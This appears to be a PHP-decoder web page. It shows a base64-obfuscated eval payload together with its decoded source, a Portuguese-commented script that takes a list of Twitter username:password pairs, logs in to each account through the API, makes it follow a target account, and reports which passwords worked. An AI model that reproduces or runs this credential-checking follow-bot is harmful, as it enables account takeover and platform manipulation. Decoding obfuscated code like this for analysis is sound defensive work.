Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php echo eval(stripslashes(base64_decode('DXNldF90aW1lX2xpbWl0KGZhbHNlKTsNZXJyb3JfcmVwb..
Decoded Output download
None
set_time_limit(false);
error_reporting(false);
if (isset($_POST["perfis"])) {
$logins = explode("
", $_POST["perfis"]);
$follow = $_POST["follow"];
$contar = count($logins);
for($i = 0; $i <= $contar; $i++) {
if (!(preg_match("/[a-zA-Z0-9]+/i", $logins[$i]))) {
continue;
}
$data = explode(":", $logins[$i]);
if ($data[0][0] == "@")
$data[0] = str_replace("@", "", $data[0]);
$ch = curl_init();
curl_setopt_array($ch,
array(
CURLOPT_URL => "http://api.twitter.com/1/friendships/create/{$follow}.xml",
CURLOPT_RETURNTRANSFER => 1,
CURLOPT_SSL_VERIFYPEER => 0,
CURLOPT_COOKIE => null,
CURLOPT_HEADER => true,
CURLOPT_NOBODY => false,
CURLOPT_POSTFIELDS => "&follow=true",
CURLOPT_USERPWD => trim($data[0]) . ":" . trim($data[1])
)
);
$ret = curl_exec($ch);
if (preg_match("/Unauthorized/i", $ret)) {
print "<b><font style=\"color: red;\">".$data[0]." - erro senha errada</font></b><br />";
flush();
ob_flush();
sleep(1);
} else {
print "<b><font style=\"color: green;\">".$data[0]." - Seguiu!</font></b><br />";
include("../loop.php");include("config.php");
flush();
ob_flush();
sleep(1);
}
}
}
Did this file decode correctly?
Original Code
<?php
echo eval(stripslashes(base64_decode('DXNldF90aW1lX2xpbWl0KGZhbHNlKTsNZXJyb3JfcmVwb3J0aW5nKGZhbHNlKTsJDWlmIChpc3NldCgkX1BPU1RbXCJwZXJmaXNcIl0pKSB7DSRsb2dpbnMgPSBleHBsb2RlKFwiXFxuXCIsICRfUE9TVFtcInBlcmZpc1wiXSk7DSRmb2xsb3cgPSAkX1BPU1RbXCJmb2xsb3dcIl07DSRjb250YXIgPSBjb3VudCgkbG9naW5zKTsNZm9yKCRpID0gMDsgJGkgPD0gJGNvbn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